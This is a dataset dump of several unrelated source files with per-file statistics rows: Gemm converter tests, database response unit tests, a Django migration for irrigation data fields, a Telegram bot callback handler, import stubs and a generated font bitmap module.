assert result.shape == y.shape
assert np.allclose(result, y)
a = np.random.ranf([4, 3]).astype(np.float32)
b = np.random.ranf([5, 4]).astype(np.float32)
c = np.random.ranf([1, 5]).astype(np.float32)
a_input_op = Input((4, 3), np.dtype(np.float32))
op = Gemm(a_input_op, b, c, alpha=0.25, beta=0.35, transpose_a=1, transpose_b=1)
tf_op = TensorflowConverter().visit(op)
result = tf_op(a).numpy()
y = 0.25 * a.T @ b.T + 0.35 * c
assert result.shape == y.shape
assert np.allclose(result, y)
a = np.random.ranf([4, 3]).astype(np.float32)
b = np.random.ranf([5, 4]).astype(np.float32)
c = np.random.ranf([1, 5]).astype(np.float32)
b_input_op = Input((5, 4), np.dtype(np.float32))
op = Gemm(a, b_input_op, c, alpha=0.25, beta=0.35, transpose_a=1, transpose_b=1)
tf_op = TensorflowConverter().visit(op)
result = tf_op(b).numpy()
y = 0.25 * a.T @ b.T + 0.35 * c
assert result.shape == y.shape
assert np.allclose(result, y)
a = np.random.ranf([4, 3]).astype(np.float32)
b = np.random.ranf([5, 4]).astype(np.float32)
c = np.random.ranf([1, 5]).astype(np.float32)
c_input_op = Input((1, 5), np.dtype(np.float32))
op = Gemm(a, b, c_input_op, alpha=0.25, beta=0.35, transpose_a=1, transpose_b=1)
tf_op = TensorflowConverter().visit(op)
result = tf_op(c).numpy()
y = 0.25 * a.T @ b.T + 0.35 * c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_alpha():
a = np.random.ranf([3, 5]).astype(np.float32)
b = np.random.ranf([5, 4]).astype(np.float32)
c = np.random.ranf([1, 4]).astype(np.float32)
op = Gemm(a, b, c, alpha=0.5)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = 0.5 * a @ b + c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_beta():
a = np.random.ranf([2, 7]).astype(np.float32)
b = np.random.ranf([7, 4]).astype(np.float32)
c = np.random.ranf([1, 4]).astype(np.float32)
op = Gemm(a, b, c, beta=0.5)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b + 0.5 * c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_default_matrix_bias():
a = np.random.ranf([3, 6]).astype(np.float32)
b = np.random.ranf([6, 4]).astype(np.float32)
c = np.random.ranf([3, 4]).astype(np.float32)
op = Gemm(a, b, c)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b + c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_default_no_bias():
a = np.random.ranf([2, 10]).astype(np.float32)
b = np.random.ranf([10, 3]).astype(np.float32)
op = Gemm(a, b)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_default_scalar_bias():
a = np.random.ranf([2, 3]).astype(np.float32)
b = np.random.ranf([3, 4]).astype(np.float32)
c = np.array(3.14).astype(np.float32)
op = Gemm(a, b, c)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b + c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_default_single_elem_vector_bias():
a = np.random.ranf([3, 7]).astype(np.float32)
b = np.random.ranf([7, 3]).astype(np.float32)
c = np.random.ranf([1]).astype(np.float32)
op = Gemm(a, b, c)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b + c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_default_vector_bias():
a = np.random.ranf([2, 7]).astype(np.float32)
b = np.random.ranf([7, 4]).astype(np.float32)
c = np.random.ranf([1, 4]).astype(np.float32)
op = Gemm(a, b, c)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b + c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_default_zero_bias():
a = np.random.ranf([3, 5]).astype(np.float32)
b = np.random.ranf([5, 4]).astype(np.float32)
c = np.zeros([1, 4]).astype(np.float32)
op = Gemm(a, b, c)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b + c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_transpose_a():
a = np.random.ranf([6, 3]).astype(np.float32)
b = np.random.ranf([6, 4]).astype(np.float32)
c = np.zeros([1, 4]).astype(np.float32)
op = Gemm(a, b, c, transpose_a=True)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a.T @ b + c
assert result.shape == y.shape
assert np.allclose(result, y)
def test_Gemm_transpose_b():
a = np.random.ranf([3, 6]).astype(np.float32)
b = np.random.ranf([4, 6]).astype(np.float32)
c = np.zeros([1, 4]).astype(np.float32)
op = Gemm(a, b, c, transpose_b=True)
tf_op = TensorflowConverter().visit(op)
result = tf_op().numpy()
y = a @ b.T + c
assert result.shape == y.shape
assert np.allclose(result, y)
| 33.076471 | 84 | 0.614796 | 961 | 5,623 | 3.504683 | 0.064516 | 0.117577 | 0.182601 | 0.085511 | 0.922506 | 0.922209 | 0.898159 | 0.875891 | 0.835808 | 0.8269 | 0 | 0.053958 | 0.202383 | 5,623 | 169 | 85 | 33.272189 | 0.69699 | 0 | 0 | 0.678322 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.195804 | 1 | 0.076923 | false | 0 | 0.027972 | 0 | 0.104895 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
807cb4e188fe39e54d1a42a9990644997ec49949 | 1,924 | py | Python | mdstudio/mdstudio/tests/db/test_response.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 10 | 2017-09-14T07:26:15.000Z | 2021-04-01T09:33:03.000Z | mdstudio/mdstudio/tests/db/test_response.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 117 | 2017-09-13T08:09:48.000Z | 2019-10-03T12:19:13.000Z | mdstudio/mdstudio/tests/db/test_response.py | NLeSC/LIEStudio | 03c163b4a2590b4e2204621e1c941c28a9624887 | [
"Apache-2.0"
] | 1 | 2018-09-26T09:40:51.000Z | 2018-09-26T09:40:51.000Z | # coding=utf-8
import unittest
from mdstudio.db.response import UpdateManyResponse, UpdateOneResponse, ReplaceOneResponse
class ResponseTests(unittest.TestCase):
def test_UpdateManyResponse(self):
many = UpdateManyResponse({
'matched': 2,
'modified': 1,
'upsertedId': '234'
})
self.assertEqual(many.matched, 2)
self.assertEqual(many.modified, 1)
self.assertEqual(many.upserted_id, '234')
def test_UpdateManyResponseNoUpsert(self):
many = UpdateManyResponse({
'matched': 2,
'modified': 1
})
self.assertEqual(many.matched, 2)
self.assertEqual(many.modified, 1)
self.assertEqual(many.upserted_id, None)
def test_UpdateOneResponse(self):
many = UpdateOneResponse({
'matched': 2,
'modified': 1,
'upsertedId': '234'
})
self.assertEqual(many.matched, 2)
self.assertEqual(many.modified, 1)
self.assertEqual(many.upserted_id, '234')
def test_UpdateOneResponseNoUpsert(self):
many = UpdateOneResponse({
'matched': 2,
'modified': 1
})
self.assertEqual(many.matched, 2)
self.assertEqual(many.modified, 1)
self.assertEqual(many.upserted_id, None)
def test_ReplaceOneResponse(self):
many = ReplaceOneResponse({
'matched': 2,
'modified': 1,
'upsertedId': '234'
})
self.assertEqual(many.matched, 2)
self.assertEqual(many.modified, 1)
self.assertEqual(many.upserted_id, '234')
def test_ReplaceOneResponseNoUpsert(self):
many = ReplaceOneResponse({
'matched': 2,
'modified': 1
})
self.assertEqual(many.matched, 2)
self.assertEqual(many.modified, 1)
self.assertEqual(many.upserted_id, None)
| 30.0625 | 90 | 0.594075 | 179 | 1,924 | 6.318436 | 0.178771 | 0.238727 | 0.302387 | 0.190981 | 0.755968 | 0.755968 | 0.755968 | 0.619805 | 0.619805 | 0.619805 | 0 | 0.031664 | 0.294179 | 1,924 | 63 | 91 | 30.539683 | 0.801178 | 0.006237 | 0 | 0.833333 | 0 | 0 | 0.072251 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.111111 | false | 0 | 0.037037 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
80a9be4c148b20d6e63b9417898bcf54bbd724e7 | 130 | py | Python | tensorflow_tts/processor/__init__.py | ishine/TensorFlowTTS-1 | dd04992f2b05d2845f862f86cfae006b91e3e870 | [
"Apache-2.0"
] | null | null | null | tensorflow_tts/processor/__init__.py | ishine/TensorFlowTTS-1 | dd04992f2b05d2845f862f86cfae006b91e3e870 | [
"Apache-2.0"
] | null | null | null | tensorflow_tts/processor/__init__.py | ishine/TensorFlowTTS-1 | dd04992f2b05d2845f862f86cfae006b91e3e870 | [
"Apache-2.0"
] | 4 | 2021-02-23T13:05:59.000Z | 2021-04-23T05:15:32.000Z | from tensorflow_tts.processor.base_processor import BaseProcessor
from tensorflow_tts.processor.ljspeech import LJSpeechProcessor
| 43.333333 | 65 | 0.907692 | 15 | 130 | 7.666667 | 0.6 | 0.243478 | 0.295652 | 0.452174 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061538 | 130 | 2 | 66 | 65 | 0.942623 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
80afe128a7a952c902c5560e5c456ced3c09a79e | 8,680 | py | Python | irrigator_pro/farms/migrations/0022_add_validators.py | warnes/irrigatorpro | 4838f8832bdbf87f394a0298adc5dabfc26e82e8 | [
"MIT"
] | null | null | null | irrigator_pro/farms/migrations/0022_add_validators.py | warnes/irrigatorpro | 4838f8832bdbf87f394a0298adc5dabfc26e82e8 | [
"MIT"
] | null | null | null | irrigator_pro/farms/migrations/0022_add_validators.py | warnes/irrigatorpro | 4838f8832bdbf87f394a0298adc5dabfc26e82e8 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
from decimal import Decimal
import django.core.validators
class Migration(migrations.Migration):
dependencies = [
('farms', '0021_auto_20150727_1111'),
]
operations = [
migrations.AlterField(
model_name='probereading',
name='irrigation',
field=models.DecimalField(decimal_places=2, default=0.0, validators=[django.core.validators.MinValueValidator(Decimal('0'))], max_digits=4, blank=True, verbose_name=b'Irrigation in inches'),
preserve_default=True,
),
migrations.AlterField(
model_name='probereading',
name='max_temp_24_hours',
field=models.DecimalField(null=True, verbose_name=b'Maximum temperature in last 24 hours in degrees Farenheit', max_digits=5, decimal_places=2, blank=True),
preserve_default=True,
),
migrations.AlterField(
model_name='probereading',
name='min_temp_24_hours',
field=models.DecimalField(null=True, verbose_name=b'Minimum temperature in last 24 hours in degrees Farenheit', max_digits=5, decimal_places=2, blank=True),
preserve_default=True,
),
migrations.AlterField(
model_name='probereading',
name='rain',
field=models.DecimalField(decimal_places=2, default=0.0, validators=[django.core.validators.MinValueValidator(Decimal('0'))], max_digits=4, blank=True, verbose_name=b'Rainfall in inches'),
preserve_default=True,
),
migrations.AlterField(
model_name='probereading',
name='soil_potential_16',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='probereading',
name='soil_potential_24',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='probereading',
name='soil_potential_8',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='probereading',
name='source',
field=models.CharField(default=b'User', max_length=8, choices=[(b'UGA', b'UGA Database'), (b'User', b'User Entry'), (b'Computed', b'Computed'), (b'Unknown', b'Unknown')]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='irrigation',
field=models.DecimalField(decimal_places=2, default=0.0, validators=[django.core.validators.MinValueValidator(Decimal('0'))], max_digits=4, blank=True, verbose_name=b'Irrigation in inches'),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='max_temp_24_hours',
field=models.DecimalField(null=True, verbose_name=b'Maximum temperature in last 24 hours in degrees Farenheit', max_digits=5, decimal_places=2, blank=True),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='min_temp_24_hours',
field=models.DecimalField(null=True, verbose_name=b'Minimum temperature in last 24 hours in degrees Farenheit', max_digits=5, decimal_places=2, blank=True),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='rain',
field=models.DecimalField(decimal_places=2, default=0.0, validators=[django.core.validators.MinValueValidator(Decimal('0'))], max_digits=4, blank=True, verbose_name=b'Rainfall in inches'),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='soil_potential_16',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='soil_potential_24',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='soil_potential_8',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterhistory',
name='source',
field=models.CharField(default=b'User', max_length=8, choices=[(b'UGA', b'UGA Database'), (b'User', b'User Entry'), (b'Computed', b'Computed'), (b'Unknown', b'Unknown')]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='irrigation',
field=models.DecimalField(decimal_places=2, default=0.0, validators=[django.core.validators.MinValueValidator(Decimal('0'))], max_digits=4, blank=True, verbose_name=b'Irrigation in inches'),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='max_temp_24_hours',
field=models.DecimalField(null=True, verbose_name=b'Maximum temperature in last 24 hours in degrees Farenheit', max_digits=5, decimal_places=2, blank=True),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='min_temp_24_hours',
field=models.DecimalField(null=True, verbose_name=b'Minimum temperature in last 24 hours in degrees Farenheit', max_digits=5, decimal_places=2, blank=True),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='rain',
field=models.DecimalField(decimal_places=2, default=0.0, validators=[django.core.validators.MinValueValidator(Decimal('0'))], max_digits=4, blank=True, verbose_name=b'Rainfall in inches'),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='soil_potential_16',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='soil_potential_24',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='soil_potential_8',
field=models.DecimalField(blank=True, null=True, max_digits=5, decimal_places=2, validators=[django.core.validators.MinValueValidator(Decimal('0')), django.core.validators.MaxValueValidator(Decimal('200'))]),
preserve_default=True,
),
migrations.AlterField(
model_name='waterregister',
name='source',
field=models.CharField(default=b'User', max_length=8, choices=[(b'UGA', b'UGA Database'), (b'User', b'User Entry'), (b'Computed', b'Computed'), (b'Unknown', b'Unknown')]),
preserve_default=True,
),
]
| 53.913043 | 220 | 0.651382 | 939 | 8,680 | 5.86262 | 0.082002 | 0.045413 | 0.090827 | 0.126431 | 0.962761 | 0.962761 | 0.955313 | 0.955313 | 0.955313 | 0.950772 | 0 | 0.022973 | 0.222696 | 8,680 | 160 | 221 | 54.25 | 0.792945 | 0.002419 | 0 | 0.935065 | 0 | 0 | 0.152824 | 0.002657 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.025974 | 0 | 0.045455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0386115ae8a23d5c6d7d44c10745d2b5e3db808c | 10,281 | py | Python | programs/callback.py | kamarjahan/TELEGRAPH-MAKER | dde289d2efd6cb5a581f3891bcf40920a20a6900 | [
"MIT"
] | 1 | 2022-01-27T09:09:47.000Z | 2022-01-27T09:09:47.000Z | programs/callback.py | kamarjahan/TELEGRAPH-MAKER | dde289d2efd6cb5a581f3891bcf40920a20a6900 | [
"MIT"
] | null | null | null | programs/callback.py | kamarjahan/TELEGRAPH-MAKER | dde289d2efd6cb5a581f3891bcf40920a20a6900 | [
"MIT"
] | 1 | 2022-03-11T13:16:23.000Z | 2022-03-11T13:16:23.000Z | import os
from telegraph import upload_file
import pyrogram
from pyrogram import filters, Client
from sample_config import Config
from pyrogram.types import (
InlineQueryResultArticle, InputTextMessageContent,
InlineKeyboardMarkup, InlineKeyboardButton,
CallbackQuery, InlineQuery, Message)
from programs.commands import cmd, help, home, dev, id, mention, telegraph, name, username, botinfo, about, status, corona
#dont remove this this is must
@Client.on_callback_query()
async def button(Tgraph, update):
cb_data = update.data
if "help" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await help(Tgraph, update.message)
elif "close" in cb_data:
await update.message.edit(
text="want to realy close the current position",
reply_markup=InlineKeyboardMarkup( [[
InlineKeyboardButton("yes", callback_data='chosecl'),
InlineKeyboardButton("no", callback_data='home')
]]
)
)
await update.answer("JOIN @SEPTEMBERFILMS")
elif "home" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await home(Tgraph, update.message)
elif "help" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await help(Tgraph, update.message)
elif "cmd" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await cmd(Tgraph, update.message)
elif "dev" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await dev(Tgraph, update.message)
elif "id" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await id(Tgraph, update.message)
elif "mention" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await mention(Tgraph, update.message)
elif "tgraph" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await telegraph(Tgraph, update.message)
elif "name" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await name(Tgraph, update.message)
elif "username" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await username(Tgraph, update.message)
elif "botinfo" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await botinfo(Tgraph, update.message)
elif "about" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await about(Tgraph, update.message)
elif update.data == "alert":
await update.answer("IAM A BOT USED MAIN PUPOSE IS UPLOAD TO TELEGRAPH AND MANY OTHER FEWTURES CREATED BY @DEVOURDEVILS", show_alert=True)
elif "chosecl" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
elif "status" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await status(Tgraph, update.message)
elif "refresh" in cb_data:
await update.message.edit(
text="""
[REFRESHED]
TOTAL TIME:`500H`
TIME SPENT:`96H`
TIME LEFT.:`404H`(THEN IDLING)
BOT STATUS:`ACTIVE` SINCE 96H
TOTAL USER:`4529`
TOTAL CHAT:`567`
BANNEDUSER:`56`
GLOBAL BAN:`8`
BOT BANNED:`12`
BOT ADMINS:`452`
(IDLING)""",
reply_markup=InlineKeyboardMarkup( [[
InlineKeyboardButton("refresh", callback_data='refresh'),
InlineKeyboardButton("home", callback_data='home')
]]
)
)
await update.answer("JOIN @SEPTEMBERFILMS")
elif "botinfo" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await botinfo(Tgraph, update.message)
elif "about" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await about(Tgraph, update.message)
elif update.data == "alert":
await update.answer("IAM A BOT USED MAIN PUPOSE IS UPLOAD TO TELEGRAPH AND MANY OTHER FEWTURES CREATED BY @DEVOURDEVILS", show_alert=True)
elif "chosecl" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
elif "status" in cb_data:
await update.message.edit(
text="███25%"
)
await update.message.edit(
text="█████50%"
)
await update.message.edit(
text="████████75%"
)
await update.message.edit(
text="████████████100%"
)
await update.answer("JOIN @SEPTEMBERFILMS")
await update.message.delete()
await status(Tgraph, update.message)
| 29.543103 | 146 | 0.503161 | 1,054 | 10,281 | 5.354839 | 0.113852 | 0.222183 | 0.293409 | 0.288448 | 0.80652 | 0.80652 | 0.80652 | 0.80652 | 0.794472 | 0.775691 | 0 | 0.027761 | 0.344811 | 10,281 | 347 | 147 | 29.628242 | 0.735303 | 0.002821 | 0 | 0.620896 | 0 | 0 | 0.17091 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.020896 | 0 | 0.020896 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
03a5822a76a3273f4c8b467c10d6569b2fb0d2d3 | 85 | py | Python | src/__init__.py | ciads-ut/transfer-learning-ner | 07b689a6e1c0c0fe515764be525df8755d1cb03f | [
"MIT"
] | 39 | 2018-06-14T22:07:33.000Z | 2022-01-12T01:57:32.000Z | src/__init__.py | hukaiwlw/transfer-learning-ner | 07b689a6e1c0c0fe515764be525df8755d1cb03f | [
"MIT"
] | 1 | 2018-10-10T12:47:59.000Z | 2018-10-10T12:47:59.000Z | src/__init__.py | hukaiwlw/transfer-learning-ner | 07b689a6e1c0c0fe515764be525df8755d1cb03f | [
"MIT"
] | 4 | 2019-05-15T09:19:59.000Z | 2021-12-02T04:56:02.000Z | from transferlearning import DomainAdaptation
from transferlearning import features
| 21.25 | 45 | 0.894118 | 8 | 85 | 9.5 | 0.625 | 0.526316 | 0.684211 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105882 | 85 | 3 | 46 | 28.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
03af2b15a4581912faf75762d34fc01bb9d41b41 | 43,774 | py | Python | minihinch/gui/fonts/arial35.py | aabbtree77/esp32-mqtt-experiments | c008161a2cfe8607d6e3d5b635cbccc98b4bd553 | [
"MIT"
] | 198 | 2018-08-31T22:30:28.000Z | 2022-03-27T14:21:36.000Z | minihinch/gui/fonts/arial35.py | aabbtree77/esp32-mqtt-experiments | c008161a2cfe8607d6e3d5b635cbccc98b4bd553 | [
"MIT"
] | 24 | 2018-10-01T23:44:25.000Z | 2022-01-08T09:05:14.000Z | minihinch/gui/fonts/arial35.py | aabbtree77/esp32-mqtt-experiments | c008161a2cfe8607d6e3d5b635cbccc98b4bd553 | [
"MIT"
] | 44 | 2018-09-30T02:09:56.000Z | 2022-03-25T07:37:36.000Z | # Code generated by font_to_py.py.
# Font: Arial.ttf
# Cmd: ./font_to_py.py Arial.ttf 35 arial35.py -x
version = '0.33'
def height():
return 35
def baseline():
return 27
def max_width():
return 37
def hmap():
return True
def reverse():
return False
def monospaced():
return False
def min_ch():
return 32
def max_ch():
return 126
_font =\
b'\x14\x00\x00\x00\x00\x01\xf8\x00\x07\xfe\x00\x0f\xff\x00\x1f\x0f'\
b'\x80\x1c\x03\xc0\x38\x01\xc0\x38\x01\xc0\x00\x01\xc0\x00\x01\xc0'\
b'\x00\x03\x80\x00\x07\x80\x00\x0f\x00\x00\x1e\x00\x00\x3c\x00\x00'\
b'\x78\x00\x00\x70\x00\x00\xe0\x00\x00\xe0\x00\x00\xe0\x00\x00\xe0'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\xe0\x00'\
b'\x00\xe0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'\
b'\x00\x00\x00\x0b\x00\x00\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e'\
b'\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e\x00\x0e'\
b'\x00\x04\x00\x04\x00\x04\x00\x04\x00\x04\x00\x04\x00\x04\x00\x00'\
